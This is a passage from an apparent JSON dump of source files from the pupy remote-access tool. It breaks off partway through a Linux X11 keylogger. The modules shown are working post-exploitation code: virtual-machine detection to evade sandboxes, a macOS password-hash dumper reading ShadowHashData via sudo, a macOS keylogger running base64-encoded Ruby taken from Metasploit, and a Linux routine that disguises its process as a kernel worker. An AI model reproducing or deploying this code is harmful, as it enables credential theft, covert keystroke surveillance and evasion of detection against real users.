    "content": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport subprocess\nimport os\n\ndef checkvm():\n    # check existing dir\n    dirs = [\n        '~/Library/Logs/VMWare',\n        '~/Library/Logs/VMWare Fusion/'\n    ]\n\n    for d in dirs:\n        if os.path.isdir(os.path.expanduser(d)):\n            return 'VMWare'\n\n    p = subprocess.Popen('system_profiler', stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True)\n    output, err = p.communicate()\n    if output:\n        if 'VMWare' in output:\n            return 'VMWare'\n        elif 'VirtualBox' in output:\n            return 'VirtualBox'\n\n    return None\n"
  },
  {
    "path": "pupy/packages/darwin/hashdump.py",
    "content": "from __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n# Inspired from https://github.com/EmpireProject/EmPyre/blob/master/lib/modules/collection/osx/hashdump.py\nimport os\nimport base64\nfrom xml.etree import ElementTree\n\ndef getUserHash(userName):\n    try:\n        raw = os.popen('sudo defaults read /var/db/dslocal/nodes/Default/users/%s.plist ShadowHashData|tr -dc 0-9a-f|xxd -r -p|plutil -convert xml1 - -o - 2> /dev/null' %(userName)).read()\n        if len(raw) > 100:\n            root = ElementTree.fromstring(raw)\n            children = root[0][1].getchildren()\n            entropy64 = ''.join(children[1].text.split())\n            iterations = children[3].text\n            salt64 = ''.join(children[5].text.split())\n            entropyRaw = base64.b64decode(entropy64)\n            entropyHex = entropyRaw.encode(\"hex\")\n            saltRaw = base64.b64decode(salt64)\n            saltHex = saltRaw.encode(\"hex\")\n            return (userName, \"$ml$%s$%s$%s\" %(iterations, saltHex, entropyHex))\n    except Exception as e:\n        print(\"getUserHash() exception: %s\" %(e))\n        pass\n\ndef hashdump():\n    userNames = [\n        plist.split(\".\")[0] for plist in os.listdir(\n            '/var/db/dslocal/nodes/Default/users/') if not plist.startswith('_')\n    ]\n\n    userHashes = []\n    for userName in userNames:\n        userHash = getUserHash(userName)\n        if userHash:\n            userHashes.append(getUserHash(userName))\n    return userHashes\n"
  },
  {
    "path": "pupy/packages/darwin/keylogger.py",
    "content": "from __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\nimport os\nimport time\nimport base64\nimport subprocess\nimport string\nimport random\n\npid = int()\nlogFile = ''\n\n# ruby code from metasploit\n# https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/capture/keylog_recorder.rb\ndef get_ruby_code():\n    return '''\n    require 'thread'\n    require 'dl'\n    require 'dl/import'\n    Importer = if defined?(DL::Importer) then DL::Importer else DL::Importable end\n    def ruby_1_9_or_higher?\n      RUBY_VERSION.to_f >= 1.9\n    end\n    def malloc(size)\n      if ruby_1_9_or_higher?\n        DL::CPtr.malloc(size)\n      else\n        DL::malloc(size)\n      end\n    end\n    if not ruby_1_9_or_higher?\n      module DL\n        module Importable\n          def method_missing(meth, *args, &block)\n            str = meth.to_s\n            lower = str[0,1].downcase + str[1..-1]\n            if self.respond_to? lower\n              self.send lower, *args\n            else\n              super\n            end\n          end\n        end\n      end\n    end\n    SM_KCHR_CACHE = 38\n    SM_CURRENT_SCRIPT = -2\n    MAX_APP_NAME = 80\n    module Carbon\n      extend Importer\n      dlload '/System/Library/Frameworks/Carbon.framework/Carbon'\n      extern 'unsigned long CopyProcessName(const ProcessSerialNumber *, void *)'\n      extern 'void GetFrontProcess(ProcessSerialNumber *)'\n      extern 'void GetKeys(void *)'\n      extern 'unsigned char *GetScriptVariable(int, int)'\n      extern 'unsigned char KeyTranslate(void *, int, void *)'\n      extern 'unsigned char CFStringGetCString(void *, void *, int, int)'\n      extern 'int CFStringGetLength(void *)'\n    end\n    psn = malloc(16)\n    name = malloc(16)\n    name_cstr = malloc(MAX_APP_NAME)\n    keymap = malloc(16)\n    state = malloc(8)\n    itv_start = Time.now.to_i\n    prev_down = Hash.new(false)\n    lastWindow = \"\"\n    while (true) do\n      Carbon.GetFrontProcess(psn.ref)\n      Carbon.CopyProcessName(psn.ref, name.ref)\n      Carbon.GetKeys(keymap)\n      str_len = Carbon.CFStringGetLength(name)\n      copied = Carbon.CFStringGetCString(name, name_cstr, MAX_APP_NAME, 0x08000100) > 0\n      app_name = if copied then name_cstr.to_s else 'Unknown' end\n      bytes = keymap.to_str\n      cap_flag = false\n      ascii = 0\n      ctrlchar = \"\"\n      (0...128).each do |k|\n        if ((bytes[k>>3].ord >> (k&7)) & 1 > 0)\n          if not prev_down[k]\n            case k\n              when 36\n                ctrlchar = \"[enter]\"\n              when 48\n                ctrlchar = \"[tab]\"\n              when 49\n                ctrlchar = \" \"\n              when 51\n                ctrlchar = \"[delete]\"\n              when 53\n                ctrlchar = \"[esc]\"\n              when 55\n                ctrlchar = \"[cmd]\"\n              when 56\n                ctrlchar = \"[shift]\"\n              when 57\n                ctrlchar = \"[caps]\"\n              when 58\n                ctrlchar = \"[option]\"\n              when 59\n                ctrlchar = \"[ctrl]\"\n              when 63\n                ctrlchar = \"[fn]\"\n              else\n                ctrlchar = \"\"\n            end\n            if ctrlchar == \"\" and ascii == 0\n              kchr = Carbon.GetScriptVariable(SM_KCHR_CACHE, SM_CURRENT_SCRIPT)\n              curr_ascii = Carbon.KeyTranslate(kchr, k, state)\n              curr_ascii = curr_ascii >> 16 if curr_ascii < 1\n              prev_down[k] = true\n              if curr_ascii == 0\n                cap_flag = true\n              else\n                ascii = curr_ascii\n              end\n            elsif ctrlchar != \"\"\n              prev_down[k] = true\n            end\n          end\n        else\n          prev_down[k] = false\n        end\n      end\n      if ascii != 0 or ctrlchar != \"\"\n        if app_name != lastWindow\n          puts \"\\n\\n[#{app_name}] - [#{Time.now}]\\n\"\n          lastWindow = app_name\n        end\n        if ctrlchar != \"\"\n          print \"#{ctrlchar}\"\n        elsif ascii > 32 and ascii < 127\n          c = if cap_flag then ascii.chr.upcase else ascii.chr end\n          print \"#{c}\"\n        else\n          print \"[#{ascii}]\"\n        end\n        $stdout.flush\n      end\n      Kernel.sleep(0.01)\n    end'''\n\ndef keylogger_start():\n    global pid\n    global logFile\n\n    if logFile:\n        if os.path.exists(logFile):\n            return 'running'\n\n    base64_ruby_code = base64.b64encode(get_ruby_code())\n\n    randname=''.join([random.choice(string.ascii_lowercase) for i in range(0,random.randint(6,12))])\n    logFile = '/tmp/{name}'.format(name=randname)\n    cmd = 'echo \"require \\'base64\\';eval(Base64.decode64(\\'%s\\'))\" | ruby > %s &' % (base64_ruby_code, logFile)\n    os.popen(cmd)\n    time.sleep(1)\n\n    # get process id\n    try:\n        pid = os.popen('ps aux | grep \" ruby\" | grep -v grep').read().split()[1]\n    except:\n        pass\n\n    print(logFile)\n    print(pid)\n    return True\n\ndef keylogger_stop():\n    global logFile\n\n    # remove log file\n    if os.path.exists(logFile):\n        # kill keylogger process\n        cmd = 'kill %s' % str(pid)\n        subprocess.Popen(cmd.split(' '), stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)\n\n        os.remove(logFile)\n        logFile = ''\n        return True\n    else:\n        return False\n\ndef keylogger_dump():\n    if not os.path.exists(logFile):\n        return None\n\n    buffer = open(logFile, 'r').read()\n\n    # clean file\n    open(logFile, 'w').write('')\n\n    return buffer\n"
  },
  {
    "path": "pupy/packages/linux/all/checkvm.py",
    "content": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport platform\nimport subprocess\nimport os\n\nfrom io import open\n\n# inspired from the checkvm.rb from the metasploit framework\n\ndef execute_command(dic, case=False):\n    vm = ''\n    try:\n        output = subprocess.check_output(dic[0].split(' '))\n        if output:\n            vm = check_result(dic, output)\n        return vm\n\n    except:\n        return ''\n\n\ndef read_file(dic, case=False):\n    try:\n        vm = ''\n        content = open(dic[0]).read()\n        if content:\n            vm = check_result(dic, content, case)\n            return vm\n    except:\n        return ''\n\n\ndef check_result(dic, output, case=False):\n    if not case:\n        output = output.lower()\n\n    for vms_artifacts in dic[1]:\n        for vms_artifact in vms_artifacts.split(','):\n            vms_artifact = vms_artifact.strip()\n            if not case:\n                vms_artifact = vms_artifact.lower()\n            if vms_artifact in output:\n                return dic[1][vms_artifacts]\n\n\ndef check_sysfs_dmi():\n    vm = read_file([\n        '/sys/class/dmi/id/bios_version', {\n            'amazon': 'EC2',\n    }])\n\n    if vm:\n        return vm\n\n    vm = read_file([\n        '/sys/class/dmi/id/product_name', {\n            'VMware': 'vmware',\n            'VirtualBox': 'VirtualBox',\n            'HVM': 'Xen',\n            'Droplet': 'DigitalOcean',\n    }])\n\n    if vm:\n        return vm\n\n    vm = read_file([\n        '/sys/class/dmi/id/chassis_vendor', {\n            'Xen': 'Xen',\n            'Bochs': 'Bochs',\n            'QEMU': 'Qemu/KVM',\n    }])\n\n    return vm\n\n\ndef check_sysfs_devices():\n    for root, dirs, files in os.walk('/sys/devices'):\n        for file in files:\n            if file in ('model', 'manufacturer', 'modalias'):\n                vm = read_file([\n                    root+'/'+file, {\n                        'QEMU': 'Qemu/KVM',\n                        'VMWare': 'VMWare',\n                        'virtio': 'Qemu/KVM',\n                        'xen': 'Xen',\n                        'VirtualBox': 'VirtualBox',\n                        'VBOX': 'VirtualBox',\n                }], case=True)\n                if vm:\n                    return vm\n    return ''\n\n\n# Check DMi Info\ndef check_dmi():\n    dic = [\n            '/usr/sbin/dmidecode',\n            {\n                'microsoft corporation': 'MS Hyper-V',\n                'vmware': 'VMware',\n                'virtualbox': 'VirtualBox',\n                'qemu': 'Qemu/KVM',\n                'domu': 'Xen'\n            }\n        ]\n    return execute_command(dic)\n\n\n# Check Modules\ndef check_modules():\n    dic = [\n        '/sbin/lsmod',\n        {\n            'vboxsf, vboxguest': 'VirtualBox',\n            'vmw_ballon, vmxnet': 'VMware',\n            'xen-vbd, xen-vnif': 'Xen',\n            'virtio_pci, virtio_net': 'Qemu/KVM',\n            'hv_vmbus, hv_blkvsc, hv_netvsc, hv_utils, hv_storvsc': 'MS Hyper-V'\n        }\n    ]\n\n    try:\n        modules = os.listdir('/sys/module')\n        for mods, vm in dic[1].items():\n            for mod in mods.split(', '):\n                if mod in modules:\n                    return vm\n    except:\n        pass\n\n    return execute_command(dic)\n\n\n# Check SCSI Driver\ndef scsi_driver():\n    dic = [\n        '/proc/scsi/scsi',\n        {\n            'vmware': 'VMware',\n            'vbox': 'VirtualBox'\n        }\n    ]\n    return read_file(dic)\n\n\n# Check IDE Devices\ndef check_ide_devices():\n    dic = [\n        '/proc/ide/hd*/model',\n        {\n            'vmware': 'VMware',\n            'vbox': 'VirtualBox',\n            'qemu': 'Qemu/KVM',\n            'virtual [vc]d': 'Hyper-V/Virtual PC'\n        }\n    ]\n    return read_file(dic)\n\n\n# Check using lspci\ndef check_lspci():\n    distro = platform.linux_distribution()[0].lower()\n    if distro in ['oracle', 'centos', 'suse', 'redhat', 'mandrake', 'slackware', 'fedora']:\n        cmd = '/sbin/lspci'\n    elif distro in ['debian', 'ubuntu']:\n        cmd = '/usr/bin/lspci'\n    else:\n        cmd = 'lspci'\n\n    dic = [\n            cmd,\n            {\n                'vmware': 'VMware',\n                'virtualbox': 'VirtualBox',\n            }\n        ]\n    return execute_command(dic)\n\n\n# Check dmesg Output\ndef check_dmesg_output():\n    dic = [\n        'dmesg',\n        {\n            'vboxbios, vboxcput, vboxfacp, vboxxsdt, vbox cd-rom, vbox harddisk': 'VirtualBox',\n            'vmware virtual ide, vmware pvscsi, vmware virtual platform': 'VMware',\n            'xen_mem, xen-vbd': 'Xen',\n            'qemu virtual cpu version': 'Qemu/KVM',\n        }\n    ]\n    return execute_command(dic)\n\n\ndef checkvm():\n    functions = [\n        check_sysfs_dmi,\n        check_sysfs_devices,\n        check_modules,\n        scsi_driver,\n        check_ide_devices,\n        check_lspci,\n        check_dmesg_output\n    ]\n    if os.geteuid() == 0:\n        functions.append(check_dmi())\n    vm = ''\n    for function in functions:\n        try:\n            vm = function()\n            if vm:\n                break\n        except:\n            pass\n    return vm\n"
  },
  {
    "path": "pupy/packages/linux/all/fsutils_ext.py",
    "content": "# -*- encoding: utf-8 -*-\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\n\nfrom io import open\nfrom os import path, lstat, readlink\nfrom stat import S_ISREG, S_ISLNK\nfrom struct import unpack_from, unpack\n\ntry:\n    from prctl import ALL_CAPS, ALL_CAP_NAMES\nexcept ImportError:\n    ALL_CAPS = None\n    ALL_CAP_NAMES = None\n\nfrom posix1e import ACL, has_extended\nfrom xattr import getxattr\nfrom xattr import list as list_xattrs\n\nfrom pwd import getpwuid\nfrom grp import getgrgid\n\nfrom pupyutils.basic_cmds import (\n    mode_to_letter, special_to_letter\n)\n\nfrom pupy.network.lib.convcompat import (\n    as_unicode_string, try_as_unicode_string,\n    fs_as_native_string, as_unicode_string_deep\n)\n\nif sys.version_info.major > 2:\n    xrange = range\n\n\ndef getselinux(filepath):\n    try:\n        sectx = getxattr(filepath, 'security.selinux')\n    except (IOError, OSError):\n        return None\n\n    return sectx\n\n\ndef getacls(filepath):\n    acls = ''\n\n    # posix1e doesn't work with unicode properly\n    fs_native_filepath = fs_as_native_string(filepath)\n\n    try:\n        if not has_extended(filepath):\n            return None\n\n        acls += ACL(file=fs_native_filepath).to_any_text()\n    except (OSError, IOError):\n        pass\n\n    if path.isdir(filepath):\n        try:\n            defaults = ACL(filedef=fs_native_filepath).to_any_text()\n            if defaults:\n                defaults = '\\n'.join([\n                    'default:' + x for x in defaults.split('\\n')\n                ])\n                acls += '\\n' + defaults\n        except (OSError, IOError):\n            pass\n\n    return acls\n\n\ndef getcaps(filepath):\n    if not ALL_CAPS and ALL_CAP_NAMES:\n        return None\n\n    try:\n        bincap = getxattr(filepath, 'security.capability')\n    except (IOError, OSError):\n        return None\n\n    version, = unpack_from('<I', bincap)\n    revision = (version & 0xFF000000) >> 24\n\n    caps = bincap[4:]\n    if not (revision == 1 and len(caps) == 8 or\n            revision == 2 and len(caps) == 16):\n        raise ValueError('Invalid caps payload')\n\n    effective = version & 1\n\n    MAX_CAP = 32\n    permitted = [unpack('<I', caps[0:4])[0]]\n    inheritable = [unpack('<I', caps[4:8])[0]]\n\n    if version == 2:\n        MAX_CAP = 64\n        permitted.append(unpack('<I', caps[8:12])[0])\n        inheritable.append(unpack('<I', caps[12:16])[0])\n\n    permitted_flags = []\n    inheritable_flags = []\n    for x in xrange(min(len(ALL_CAP_NAMES), MAX_CAP)):\n        idx = ((x) >> 5)\n        mask = (1 << ((x) & 31))\n\n        if permitted[idx] & mask:\n            permitted_flags.append(ALL_CAP_NAMES[ALL_CAPS.index(x)])\n\n        if inheritable[idx] & mask:\n            inheritable_flags.append(ALL_CAP_NAMES[ALL_CAPS.index(x)])\n\n    return permitted_flags, inheritable_flags, bool(effective)\n\n\ndef getfilesec(filepath):\n    filestat = lstat(filepath)\n\n    header = ''\n\n    if S_ISREG(filestat.st_mode):\n        try:\n            with open(filepath, 'rb') as fileobj:\n                header = fileobj.read(4096)\n        except IOError:\n            pass\n\n    owner_uid = filestat.st_uid\n    try:\n        owner_user = as_unicode_string(\n            getpwuid(owner_uid).pw_name\n        )\n    except KeyError:\n        owner_user = None\n\n    owner_domain = None  # Unsupported?\n    owner = (owner_uid, owner_user, owner_domain)\n\n    group_gid = filestat.st_gid\n    try:\n        group_user = as_unicode_string(\n            getgrgid(group_gid).gr_name\n        )\n    except KeyError:\n        group_user = None\n\n    group_domain = None  # Unsupported?\n    group = (group_gid, group_user, group_domain)\n\n    caps = None\n    acls = None\n    sectx = None\n    xattrs = []\n\n    try:\n        xattrs = list_xattrs(filepath)\n        caps = getcaps(filepath)\n        acls = getacls(filepath)\n        sectx = getselinux(filepath)\n\n    except IOError:\n        pass\n\n    caps_text = None\n\n    security_xattrs = [\n        x for x in xattrs if x.startswith((b'security.', b'system.posix_'))\n    ]\n\n    other_xattrs = [\n        x for x in xattrs if not x.startswith((b'security.', b'system.posix_'))\n    ]\n\n    other_xattr_values = []\n    for xattr in other_xattrs:\n        try:\n            other_xattr_values.append('{}: {}'.format(\n                try_as_unicode_string(xattr, fail=False),\n                try_as_unicode_string(\n                    getxattr(filepath, xattr), fail=False)\n            ))\n        except IOError:\n            pass\n\n    if caps:\n        permitted_flags, inheritable_flags, effective = caps\n\n        caps_text = ''\n        flags = ''\n\n        if effective:\n            flags += 'e'\n\n        if permitted_flags == inheritable_flags or (\n                permitted_flags and not inheritable_flags):\n            caps_text = ','.join(permitted_flags)\n            if inheritable_flags:\n                flags += 'i'\n            flags += 'p'\n\n        elif not permitted_flags and inheritable_flags:\n            caps_text = ','.join(inheritable_flags)\n            flags += 'i'\n\n        if flags:\n            caps_text += '+' + flags\n\n    link = None\n    if S_ISLNK(filestat.st_mode):\n        link = readlink(filepath)\n\n    mode = mode_to_letter(filestat.st_mode) + \\\n        special_to_letter(filestat.st_mode)\n\n    extra = {\n        'ACLs': acls.split('\\n') if acls else None,\n        'CAPs': caps_text,\n        'SELinux': sectx,\n        'Security': security_xattrs,\n        'XAttr': other_xattr_values,\n        'Link': link\n    }\n\n    return int(filestat.st_ctime), int(filestat.st_atime), \\\n        int(filestat.st_mtime), filestat.st_size, owner, \\\n        group, header, mode, as_unicode_string_deep({\n            k: v for k, v in extra.items() if v\n        })\n"
  },
  {
    "path": "pupy/packages/linux/all/hide_process.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# Modifications: Nicolas VERDIER (contact@n1nj4.eu)\n# Original author is unknown\n# source : I received the original version of this code from a private message on reddit\nfrom __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nimport ctypes\nimport os\n\nfrom io import open\n\n\nclass Stat():\n    def add(self, pid, comm, state, ppid, pgrp, session, tty_nr, tpgid, flags, minflt, cminflt, majflt, cmajflt, utime,\n            stime, cutime, cstime, priority, nice, num_threads, itrealvalue, starttime, vsize, rss, rsslim, startcode,\n            endcode, startstack, kstkesp, kstkeip, signal, blocked, sigignore, sigcatch, wchan, nswap, cnswap,\n            exit_signal, processor, rt_priority, policy, delayacct_blkio_ticks, guest_time,\n            cguest_time, start_data, end_data, start_brk, arg_start, arg_end, env_start, env_end, exit_code):\n\n        self.argv  = (int(arg_start), int(arg_end))\n        self.env = (int(env_start), int(env_end))\n\n\ndef parse_proc_stat():\n    with open(\"/proc/self/stat\", \"r\") as fh: # ?3.5+ specific\n        a = tuple(fh.read().split())\n    s = Stat()\n    s.add(*a)\n    return s\n\n\ndef memcpy(dest, source):\n    start, end = dest\n    if len(source) > end - start:\n        raise ValueError(\"ma jel\")\n    ptr = ctypes.POINTER(ctypes.c_wchar)\n    idx = 0\n    write = ''\n    for tmp in range(start, end-1):\n        a = ctypes.cast(tmp, ptr)\n        if idx >= len(source):\n            write = \"\\x00\"\n        else:\n            write = source[idx]\n        a.contents.value = write\n        idx += 1\n\n\ndef change_argv(argv=\"/bin/bash\", env=\"\"):\n    info = parse_proc_stat()\n    memcpy(info.argv, argv) #clean argv\n    memcpy(info.env, env) #clean environ\n\n\nif __name__==\"__main__\":\n    print(\"pid: %s\"%os.getpid())\n    change_argv(argv=\"[kworker/2:0]\")\n    import time\n    while True:\n        time.sleep(1)\n"
  },
  {
    "path": "pupy/packages/linux/all/keylogger.py",
    "content": "# -*- coding: utf-8 -*-\n# inspired from https://github.com/amoffat/pykeylogger\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\nimport os\nimport sys\nimport ctypes as ct\n\nfrom io import open\nfrom time import sleep, time\nfrom ctypes.util import find_library\n\nimport pupy.agent\n\nif sys.version_info.major > 2:\n    xrange = range\n    unicode = str\n\ntry:\n    x11 = ct.cdll.LoadLibrary(find_library('X11'))\n\n    x11.XkbOpenDisplay.restype = ct.c_void_p\n    x11.XkbOpenDisplay.argtypes = [\n        ct.c_char_p,\n        ct.c_void_p, ct.c_void_p, ct.c_void_p, ct.c_void_p, ct.c_void_p\n    ]\n    x11.XCloseDisplay.argtypes = [ct.c_void_p]\n    x11.XQueryKeymap.restype = ct.c_int\n    x11.XQueryKeymap.argtypes = [ct.c_void_p, ct.c_void_p]\n    x11.XGetInputFocus.restype = ct.c_int\n    x11.XGetInputFocus.argtypes = [ct.c_void_p, ct.c_void_p, ct.c_void_p]\n    x11.XGetClassHint.restype = ct.c_int\n    x11.XGetClassHint.argtypes = [ct.c_void_p, ct.c_ulong, ct.c_void_p]\n    x11.XkbGetKeyboard.restype = ct.c_void_p\n    x11.XkbGetKeyboard.argtypes = [ct.c_void_p, ct.c_uint, ct.c_uint]\n    x11.XkbGetState.argtypes = [ct.c_void_p, ct.c_uint, ct.c_void_p]\n    x11.XKeycodeToKeysym.restype = ct.c_uint\n    x11.XKeycodeToKeysym.argtypes = [ct.c_void_p, ct.c_uint]\n    x11.XkbKeycodeToKeysym.restype = ct.c_uint\n    x11.XkbKeycodeToKeysym.argtypes = [ct.c_void_p, ct.c_uint]\n    x11.XDefaultRootWindow.restype = ct.c_ulong\n    x11.XDefaultRootWindow.argtypes = [ct.c_void_p]\n    x11.XNextEvent.argtypes = [ct.c_void_p, ct.c_void_p]\n    x11.XMapWindow.argtypes = [ct.c_void_p, ct.c_ulong]\n    x11.XSync.argtypes = [ct.c_void_p, ct.c_int]\n    x11.XMaskEvent.argtypes = [ct.c_void_p, ct.c_ulong, ct.c_void_p]\n    x11.XSelectInput.argtypes = [ct.c_void_p, ct.c_uint, ct.c_long]\n    x11.XDestroyWindow.argtypes = [ct.c_void_p, ct.c_ulong]\n    x11.XGetEventData.argtypes = [ct.c_void_p, ct.c_void_p]\n    x11.XFreeEventData.argtypes = [ct.c_void_p, ct.c_void_p]\n    x11.XQueryExtension.argtypes = [ct.c_void_p, ct.c_char_p, ct.c_void_p, ct.c_void_p, ct.c_void_p]\n    x11.XSetErrorHandler.restype = ct.c_int\n    x11.XSetErrorHandler.argtypes = [ct.c_void_p]\n    x11.XSetIOErrorHandler.restype = ct.c_int\n    x11.XSetIOErrorHandler.argtypes = [ct.c_void_p]\nexcept:\n    x11 = None\n\ntry:\n    xi = ct.cdll.LoadLibrary(find_library('Xi'))\n    xi.XOpenDevice.restype = ct.c_void_p\n    xi.XOpenDevice.argtypes = [ct.c_void_p, ct.c_uint]\n    xi.XCloseDevice.argtypes = [ct.c_void_p, ct.c_void_p]\n    xi.XISelectEvents.argtypes = [ct.c_void_p, ct.c_uint, ct.c_void_p, ct.c_int]\nexcept:\n    xi = None\n\n\nclass ClassHint(ct.Structure):\n    _fields_ = [\n        (\"name\", ct.c_char_p),\n        (\"klass\", ct.c_char_p)\n    ]\n\n\nclass XkbState(ct.Structure):\n    _fields_ = [\n        (\"group\", ct.c_char),\n        (\"locked_group\", ct.c_char),\n        (\"base_group\", ct.c_char),\n        (\"latched_group\", ct.c_char),\n        (\"mods\", ct.c_char),\n        (\"base_mods\", ct.c_char),\n        (\"latched_mods\", ct.c_char),\n        (\"locked_mods\", ct.c_char),\n        (\"compat_state\", ct.c_char),\n        (\"grab_mods\", ct.c_char),\n        (\"compat_grab_mods\", ct.c_char),\n        (\"lookup_mods\", ct.c_char),\n        (\"compat_lookup_mods\", ct.c_char),\n        (\"ptr_buttons\", ct.c_char)\n    ]\n\n\nclass XiEventMask(ct.Structure):\n    _fields_ = [\n        (\"deviceid\", ct.c_int),\n        (\"mask_len\", ct.c_int),\n        (\"mask\", ct.c_void_p)\n    ]\n\n\nclass XGenericEventCookie(ct.Structure):\n    _fields_ = [\n        (\"type\",        ct.c_int),\n        (\"serial\",      ct.c_ulong),\n        (\"send_event\",  ct.c_int),\n        (\"display\",     ct.c_void_p),\n        (\"extension\",   ct.c_int),\n        (\"evtype\",      ct.c_int),\n        (\"cookie\",      ct.c_uint),\n        (\"data\",        ct.c_void_p)\n    ]\n\n\nclass XEventType(ct.Structure):\n    _fields_ = [\n        (\"type\", ct.c_int),\n        (\"pad\", ct.c_long * 24)\n    ]\n\n\nclass XEvent(ct.Union):\n    _fields_ = [\n        (\"type\",   XEventType),\n        (\"cookie\", XGenericEventCookie),\n    ]\n\n\nclass XIValuatorState(ct.Structure):\n    _fields_ = [\n        (\"mask_len\",   ct.c_int),\n        (\"mask\",       ct.c_void_p),\n        (\"values\",     ct.c_void_p),\n    ]\n\n\nclass XIButtonState(ct.Structure):\n    _fields_ = [\n        (\"mask_len\",   ct.c_int),\n        (\"mask\",       ct.c_void_p)\n    ]\n\n\nclass XIModifierState(ct.Structure):\n    _fields_ = [\n        (\"base\",       ct.c_int),\n        (\"latched\",    ct.c_int),\n        (\"locked\",     ct.c_int),\n        (\"effective\",  ct.c_int),\n    ]\n\n\nclass XIDeviceEvent(ct.Structure):\n    _fields_ = [\n        (\"type\",       ct.c_int),\n        (\"serial\",     ct.c_ulong),\n        (\"send_event\", ct.c_int),\n        (\"display\",    ct.c_void_p),\n        (\"extension\",  ct.c_int),\n        (\"evtype\",     ct.c_int),\n        (\"time\",       ct.c_ulong),\n        (\"deviceid\",   ct.c_int),\n        (\"sourceid\",   ct.c_int),\n        (\"detail\",     ct.c_int),\n        (\"root\",       ct.c_ulong),\n        (\"event\",      ct.c_ulong),\n        (\"child\",      ct.c_ulong),\n        (\"root_x\",     ct.c_double),\n        (\"root_y\",     ct.c_double),\n        (\"event_x\",    ct.c_double),\n        (\"event_y\",    ct.c_double),\n        (\"flags\",      ct.c_int),\n        (\"buttons\",    XIButtonState),\n        (\"valuators\",  XIValuatorState),\n        (\"mods\",       XIModifierState),\n        (\"group\",      XIModifierState),\n    ]\n\n\nclass XErrorEvent(ct.Structure):\n    _fields_ = [\n        (\"type\",       ct.c_int),\n        (\"display\",    ct.c_void_p),\n        (\"serial\",     ct.c_uint),\n        (\"error_code\", ct.c_char),\n        (\"request_code\", ct.c_char),\n        (\"minor_code\", ct.c_char),\n        (\"XID\",        ct.c_ulong)\n    ]\n\n\ndef XiMaxLen():\n    return (((27) >> 3) + 1)\n\n\ndef XiSetMask(mask, event):\n    mask[(event)>>3] |= (1 << ((event) & 7))\n\n\nKEYSYM_TO_XK_TABLE = {\n    0xff08: \"BackSpace\", 0xff09: \"Tab\", 0xff0a: \"Linefeed\",\n    0xff0b: \"Clear\", 0xff0d: \"Return\", 0xff13: \"Pause\",\n    0xff14: \"Scroll_Lock\", 0xff15: \"Sys_Req\", 0xff1b: \"Escape\",\n    0xff20: \"Multi_key\", 0xff21: \"Kanji\", 0xff22: \"Muhenkan\",\n    0xff23: \"Henkan_Mode\", 0xff24: \"Romaji\", 0xff25: \"Hiragana\",\n    0xff26: \"Katakana\", 0xff27: \"Hiragana_Katakana\", 0xff28: \"Zenkaku\",\n    0xff29: \"Hankaku\", 0xff2a: \"Zenkaku_Hankaku\", 0xff2b: \"Touroku\",\n    0xff2c: \"Massyo\", 0xff2d: \"Kana_Lock\", 0xff2e: \"Kana_Shift\",\n    0xff2f: \"Eisu_Shift\", 0xff30: \"Eisu_toggle\", 0xff31: \"Hangul\",\n    0xff32: \"Hangul_Start\", 0xff33: \"Hangul_End\", 0xff34: \"Hangul_Hanja\",\n    0xff35: \"Hangul_Jamo\", 0xff36: \"Hangul_Romaja\", 0xff37: \"Codeinput\",\n    0xff38: \"Hangul_Jeonja\", 0xff39: \"Hangul_Banja\", 0xff3a: \"Hangul_PreHanja\",\n    0xff3b: \"Hangul_PostHanja\", 0xff3c: \"SingleCandidate\", 0xff3d: \"MultipleCandidate\",\n    0xff3e: \"PreviousCandidate\", 0xff3f: \"Hangul_Special\", 0xff50: \"Home\",\n    0xff51: \"Left\", 0xff52: \"Up\", 0xff53: \"Right\",\n    0xff54: \"Down\", 0xff55: \"Prior\", 0xff56: \"Next\",\n    0xff57: \"End\", 0xff58: \"Begin\", 0xff60: \"Select\",\n    0xff61: \"Print\", 0xff62: \"Execute\", 0xff63: \"Insert\",\n    0xff65: \"Undo\", 0xff66: \"Redo\", 0xff67: \"Menu\",\n    0xff68: \"Find\", 0xff69: \"Cancel\", 0xff6a: \"Help\",\n    0xff6b: \"Break\", 0xff7e: \"Mode_switch\", 0xff7f: \"Num_Lock\",\n    0xff80: \"KP_Space\", 0xff89: \"KP_Tab\", 0xff8d: \"KP_Enter\",\n    0xff91: \"KP_F1\", 0xff92: \"KP_F2\", 0xff93: \"KP_F3\",\n    0xff94: \"KP_F4\", 0xff95: \"KP_Home\", 0xff96: \"KP_Left\",\n    0xff97: \"KP_Up\", 0xff98: \"KP_Right\", 0xff99: \"KP_Down\",\n    0xff9a: \"KP_Prior\", 0xff9b: \"KP_Next\", 0xff9c: \"KP_End\",\n    0xff9d: \"KP_Begin\", 0xff9e: \"KP_Insert\", 0xff9f: \"KP_Delete\",\n    0xffaa: \"KP_Multiply\", 0xffab: \"KP_Add\", 0xffac: \"KP_Separator\",\n    0xffad: \"KP_Subtract\", 0xffae: \"KP_Decimal\", 0xffaf: \"KP_Divide\",\n    0xffb0: \"KP_0\", 0xffb1: \"KP_1\", 0xffb2: \"KP_2\",\n    0xffb3: \"KP_3\", 0xffb4: \"KP_4\", 0xffb5: \"KP_5\",\n    0xffb6: \"KP_6\", 0xffb7: \"KP_7\", 0xffb8: \"KP_8\",\n    0xffb9: \"KP_9\", 0xffbd: \"KP_Equal\", 0xffbe: \"F1\",\n    0xffbf: \"F2\", 0xffc0: \"F3\", 0xffc1: \"F4\",\n    0xffc2: \"F5\", 0xffc3: \"F6\", 0xffc4: \"F7\",\n    0xffc5: \"F8\", 0xffc6: \"F9\", 0xffc7: \"F10\",\n    0xffc8: \"F11\", 0xffc9: 